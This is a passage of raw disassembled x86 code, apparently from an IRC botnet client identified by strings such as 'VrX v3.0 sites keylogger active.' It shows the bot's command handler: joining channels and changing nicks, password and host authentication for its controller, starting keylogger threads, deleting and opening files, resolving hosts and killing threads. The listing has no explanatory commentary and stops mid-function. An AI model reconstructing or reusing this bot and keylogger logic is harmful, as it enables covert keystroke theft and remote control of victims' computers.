push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_42A260
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_408A9E: ; CODE XREF: sub_401ACD+47A9j
; sub_401ACD+47C0j
push [ebp+var_8C]
push offset dword_42CCD0
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
push [ebp+arg_18]
push offset dword_42A254
push [ebp+arg_4]
call sub_409823
push edi
call sub_41C159
imul eax, 3E8h
add esp, 10h
push eax
call dword_427080 ; Sleep
push [ebp+esi+var_84]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
push offset dword_42A240
call sub_415D38
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_408B04: ; CODE XREF: sub_401ACD+477Bj
; sub_401ACD+4792j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A970
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_409869
add esp, 20h
push esi
push edi
push offset unk_42A224
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408B6D: ; CODE XREF: sub_401ACD+474Dj
; sub_401ACD+4764j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_409869
add esp, 14h
push esi
push edi
push offset unk_42A208
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408BBE: ; CODE XREF: sub_401ACD+471Fj
; sub_401ACD+4736j
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
push eax
push edi
call sub_415C40
pop ecx
pop ecx
push edi
push offset unk_42A1EC
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_408BF0: ; CODE XREF: sub_401ACD+46F1j
; sub_401ACD+4708j
push [ebp+arg_18]
push edi
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418A2E
loc_408C05: ; CODE XREF: sub_401ACD+25ECj
add esp, 14h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408C0D: ; CODE XREF: sub_401ACD+46B1j
; sub_401ACD+46C8j
push edi
push [ebp+arg_1C]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz loc_409644
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408CB1
push esi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408C99
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A438
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push edi
push offset unk_42A1C8
push eax
call sub_41C266
add esp, 10h
inc [ebp+arg_24]
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408C99: ; CODE XREF: sub_401ACD+7171j
lea eax, [ebp+var_2C4]
push offset unk_42A198
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CB1: ; CODE XREF: sub_401ACD+715Cj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A180
push 200h
push eax
call sub_41C360
add esp, 10h
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CFB: ; CODE XREF: sub_401ACD+4434j
; sub_401ACD+444Bj
push edi
push 23h
push offset aKeylog_0 ; "Keylog"
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
loc_408D08: ; CODE XREF: sub_401ACD+103Cj
; sub_401ACD+108Fj ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B648
add esp, 20h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408D24: ; CODE XREF: sub_401ACD+4406j
; sub_401ACD+441Dj
push 23h
call sub_40B602
test eax, eax
pop ecx
jle short loc_408D3A
push offset aKeylogerAlread ; "Keyloger Already running."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408D3A: ; CODE XREF: sub_401ACD+7261j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
push offset aWeb ; "web"
mov [ebp+var_A08], eax
mov [ebp+var_A10], ebx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DB9
mov esi, [ebp+esi+var_88]
mov [ebp+var_A10], 1
cmp esi, ebx
jnz short loc_408D9D
mov esi, offset aF_0 ; "#f"
push offset byte_43DB98
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408D9D
mov esi, [ebp+var_88]
loc_408D9D: ; CODE XREF: sub_401ACD+72B2j
; sub_401ACD+72C8j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
jmp short loc_408E0F
; ---------------------------------------------------------------------------
loc_408DB9: ; CODE XREF: sub_401ACD+729Dj
push edi
push offset aNormal_0 ; "normal"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_408E97
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_408DF5
mov esi, offset aF_0 ; "#f"
push offset byte_43DB98
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DF5
mov esi, [ebp+var_88]
loc_408DF5: ; CODE XREF: sub_401ACD+730Aj
; sub_401ACD+7320j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aNormalKeyLogge ; "Normal key logger active."
loc_408E0F: ; CODE XREF: sub_401ACD+72EAj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push ebx
push 23h
push eax
call sub_40B3BA
add esp, 0Ch
mov [ebp+var_A94], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_4126A7
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_A94]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_408E7A
loc_408E64: ; CODE XREF: sub_401ACD+73ABj
cmp [ebp+var_A04], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_408E64
; ---------------------------------------------------------------------------
loc_408E7A: ; CODE XREF: sub_401ACD+7395j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset aFailedToStartL ; "Failed to start logging thread, error: "...
loc_408E86: ; CODE XREF: sub_401ACD+20F8j
; sub_401ACD+2E94j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_408E97: ; CODE XREF: sub_401ACD+72FBj
push offset aUnknowModeType ; "Unknow mode type."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408EA1: ; CODE XREF: sub_401ACD+4065j
; sub_401ACD+407Cj
push offset aR ; "r"
push edi
call sub_41BEA2
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408F0D
mov ebx, 200h
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 0Ch
loc_408ECA: ; CODE XREF: sub_401ACD+742Cj
test eax, eax
jz short loc_408EFB
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 20h
jmp short loc_408ECA
; ---------------------------------------------------------------------------
loc_408EFB: ; CODE XREF: sub_401ACD+73FFj
push esi
call sub_41BA3B
pop ecx
push edi
push offset unk_42A0AC
jmp loc_409091
; ---------------------------------------------------------------------------
loc_408F0D: ; CODE XREF: sub_401ACD+73E5j
push edi
push offset unk_42A08C
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408F18: ; CODE XREF: sub_401ACD+4037j
; sub_401ACD+404Ej
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push offset asc_42A088 ; "\n"
push esi
call sub_41C8A0
push esi
call sub_419F9D
add esp, 0Ch
test eax, eax
jnz short loc_408F55
push offset unk_42A05C
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F55: ; CODE XREF: sub_401ACD+747Fj
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A044
push eax
call sub_41C266
add esp, 0Ch
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408F6F: ; CODE XREF: sub_401ACD+4009j
; sub_401ACD+4020j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_409644
push eax
call sub_41875E
test eax, eax
pop ecx
jnz short loc_408F9D
push offset unk_42A024
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F9D: ; CODE XREF: sub_401ACD+74C7j
push offset dword_42A008
loc_408FA2: ; CODE XREF: sub_401ACD+7486j
; sub_401ACD+74CEj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408678
; ---------------------------------------------------------------------------
loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj
; sub_401ACD+3FF2j
push 7Fh
lea eax, [ebp+var_2084]
push edi
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_408FE4
push 7Fh
lea eax, [ebp+var_2004]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_408FE4: ; CODE XREF: sub_401ACD+7503j
push 7Fh
lea eax, [ebp+var_1F84]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2088], eax
mov eax, [ebp+var_8]
mov [ebp+var_1F00], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EFC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_429FF0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_1F04], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2088]
push ebx
push eax
push offset sub_41B302
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1F04]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_409085
loc_40906F: ; CODE XREF: sub_401ACD+75B6j
cmp [ebp+var_1EF8], ebx
jnz loc_406C1F
push 32h
call dword_427080 ; Sleep
jmp short loc_40906F
; ---------------------------------------------------------------------------
loc_409085: ; CODE XREF: sub_401ACD+75A0j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_429FB0
loc_409091: ; CODE XREF: sub_401ACD+298Bj
; sub_401ACD+743Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+3FADj
; sub_401ACD+3FC4j
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push edi
call sub_41036B
add esp, 10h
push edi
push offset dword_429F98
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj
; sub_401ACD+3F96j
push 14h
lea eax, [ebp+var_1D4C]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1D38]
push edi
push offset aS_2 ; "%s"
push eax
call sub_41C266
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D54], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C34]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BAC], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA8], eax
lea eax, [ebp+var_1C34]
push eax
lea eax, [ebp+var_1D38]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429F74
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_1BB0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D54]
push ebx
push eax
push offset sub_4161C1
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1BB0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz loc_4023CA
loc_40918A: ; CODE XREF: sub_401ACD+76D1j
cmp [ebp+var_1BA4], ebx
jnz loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_40918A
; ---------------------------------------------------------------------------
loc_4091A0: ; CODE XREF: sub_401ACD+3F51j
; sub_401ACD+3F68j
push edi
call dword_427088 ; DeleteFileA
test eax, eax
jz short loc_4091C7
push edi
push offset dword_429F58
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_40929A
; ---------------------------------------------------------------------------
loc_4091C7: ; CODE XREF: sub_401ACD+76DCj
push offset dword_42A5B0
call sub_418699
pop ecx
push eax
jmp loc_403EED
; ---------------------------------------------------------------------------
loc_4091D8: ; CODE XREF: sub_401ACD+3F23j
; sub_401ACD+3F3Aj
push edi
call sub_41C159
push eax
call sub_419F16
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_4091F5
push offset unk_429F34
jmp short loc_4091FA
; ---------------------------------------------------------------------------
loc_4091F5: ; CODE XREF: sub_401ACD+771Fj
push offset unk_429F04
loc_4091FA: ; CODE XREF: sub_401ACD+7726j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406C22
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_409233: ; CODE XREF: sub_401ACD+3EF5j
; sub_401ACD+3F0Cj
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_419C09
add esp, 18h
cmp eax, 1
push edi
jnz short loc_409255
push offset unk_429EE4
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409255: ; CODE XREF: sub_401ACD+777Cj
push offset unk_429EB4
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40925F: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDEj
push edi
call dword_4CBA24 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_4092A2
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB99C ; gethostbyaddr
cmp eax, ebx
jz short loc_4092BD
push dword ptr [eax]
loc_409288: ; CODE XREF: sub_401ACD+77EEj
push edi
lea eax, [ebp+var_2C4]
push offset unk_429E94
push eax
call sub_41C266
loc_40929A: ; CODE XREF: sub_401ACD+76F5j
add esp, 10h
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_4092A2: ; CODE XREF: sub_401ACD+77A2j
push edi
call dword_4CBA68 ; gethostbyname
cmp eax, ebx
jz short loc_4092BD
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CBA70 ; inet_ntoa
push eax
jmp short loc_409288
; ---------------------------------------------------------------------------
loc_4092BD: ; CODE XREF: sub_401ACD+77B7j
; sub_401ACD+77DEj
push offset unk_429E6C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_4092C7: ; CODE XREF: sub_401ACD+3E99j
; sub_401ACD+3EB0j
push 7Fh
push edi
push [ebp+arg_14]
call sub_41BFD0
add esp, 0Ch
push edi
push offset unk_429E48
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj
; sub_401ACD+3E82j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_4CB950
test eax, eax
push edi
jz short loc_409300
push offset unk_429E28
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409300: ; CODE XREF: sub_401ACD+7827j
push offset unk_429E04
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj
; sub_401ACD+3E54j
mov al, [edi]
mov byte_429094, al
movsx eax, byte ptr [edi]
push eax
push offset unk_429DE0
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj
; sub_401ACD+3E26j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B89C
push eax
call sub_41C266
add esp, 0Ch
jmp loc_4088B1
; ---------------------------------------------------------------------------
loc_40936D: ; CODE XREF: sub_401ACD+3DE1j
; sub_401ACD+3DF8j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_401F75
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_401F75
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E92C[eax]
call sub_409823
pop ecx
pop ecx
push 1F4h
call dword_427080 ; Sleep
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E92C[eax]
call dword_4CBA7C ; closesocket
push [ebp+var_10]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E934[eax]
call dword_4270B4 ; TerminateThread
push edi
call sub_41C159
imul eax, 234h
push edi
mov dword_43E934[eax], ebx
call sub_41C159
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E720[eax], bl
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409418: ; CODE XREF: sub_401ACD+3DB3j
; sub_401ACD+3DCAj
push edi
push offset aAll ; "all"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_409447
call sub_40B583
cmp eax, ebx
jle short loc_40943D
push eax
push offset unk_429DB4
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_40943D: ; CODE XREF: sub_401ACD+7963j
push offset unk_429D8C
jmp loc_403F8F
; ---------------------------------------------------------------------------
loc_409447: ; CODE XREF: sub_401ACD+795Aj
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401F75
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_409463: ; CODE XREF: sub_401ACD+7A07j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401F75
push esi
call sub_41C159
push eax
call sub_40B4F5
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40948A
push offset unk_429D68
jmp short loc_40948F
; ---------------------------------------------------------------------------
loc_40948A: ; CODE XREF: sub_401ACD+79B4j
push offset unk_429D3C
loc_40948F: ; CODE XREF: sub_401ACD+79BBj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4094BF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4094BF: ; CODE XREF: sub_401ACD+79D4j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_409463
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4094DB: ; CODE XREF: sub_401ACD+3D85j
; sub_401ACD+3D9Cj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset dword_42A2F0
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_429D24
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409515: ; CODE XREF: sub_401ACD+3D57j
; sub_401ACD+3D6Ej
push edi
push offset dword_42A254
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429D04
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409531: ; CODE XREF: sub_401ACD+3D29j
; sub_401ACD+3D40j
push [ebp+esi+var_88]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push edi
push offset unk_429CE4
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409554: ; CODE XREF: sub_401ACD+3CFBj
; sub_401ACD+3D12j
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CC0
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409570: ; CODE XREF: sub_401ACD+3123j
; sub_401ACD+313Aj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429CA0
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
loc_4095A6: ; CODE XREF: sub_401ACD+7B23j
push eax
call dword_427080 ; Sleep
loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj
xor eax, eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4095B4: ; CODE XREF: sub_401ACD+30F5j
; sub_401ACD+310Cj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C78
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
imul eax, 3E8h
jmp short loc_4095A6
; ---------------------------------------------------------------------------
loc_4095F2: ; CODE XREF: sub_401ACD+EADj
; sub_401ACD+EC2j
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40AE84
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_429C54
loc_40963D: ; CODE XREF: sub_401ACD+6FCCj
; sub_401ACD+75F1j ...
call sub_415DAC
pop ecx
loc_409643: ; CODE XREF: sub_401ACD+6BD8j
pop ecx
loc_409644: ; CODE XREF: sub_401ACD+63Dj
; sub_401ACD+649j ...
mov eax, [ebp+arg_24]
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_40964C: ; CODE XREF: sub_401ACD+A98j
; sub_401ACD+AADj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_20], esi
jz loc_401F75
cmp [ebp+var_A4], ebx
jnz loc_401F75
push offset asc_42CDC4 ; "!"
push [ebp+var_90]
call sub_41CAD4
mov esi, eax
push offset word_4CB89C
push ebx
inc esi
call sub_41CAD4
push offset asc_429C50 ; "~"
push eax
call sub_41CAD4
push [ebp+arg_20]
mov edi, eax
push offset aCool ; "cool"
call sub_41CA50
add esp, 20h
test eax, eax
jz short loc_4096EB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429BD0
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj
mov [ebp+arg_24], offset off_429164
loc_4096F2: ; CODE XREF: sub_401ACD+7C41j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_409752
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429168
jb short loc_4096F2
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429B7C
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_409752: ; CODE XREF: sub_401ACD+7C34j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409757: ; CODE XREF: sub_401ACD+7CB4j
cmp [ebp+arg_20], ebx
jz loc_401F75
cmp [edi], bl
jnz short loc_409777
push [ebp+arg_20]
push offset aCool ; "cool"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_409788
loc_409777: ; CODE XREF: sub_401ACD+7C95j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409757
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409788: ; CODE XREF: sub_401ACD+7CA8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E04]
push 7Fh
push eax
push esi
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4097BF
push ebx
push [ebp+var_4]
push offset unk_429B5C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j
lea eax, [ebp+var_C4]
push eax
push offset unk_429B3C
loc_4097CB: ; CODE XREF: sub_401ACD+595j
; sub_401ACD+2889j ...
call sub_415DAC
loc_4097D0: ; CODE XREF: sub_401ACD+1B81j
pop ecx
loc_4097D1: ; CODE XREF: sub_401ACD+24FDj
pop ecx
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4097D7: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
mov dword_4CB894, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409823 proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41CB70
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA34 ; send
leave
retn
sub_409823 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409869 proc near ; CODE XREF: sub_401ACD+506p
; sub_401ACD+134Ep ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409884
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409884: ; CODE XREF: sub_409869+14j
push edi
call sub_41B9C0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B9C0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_2 ; "%s"
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
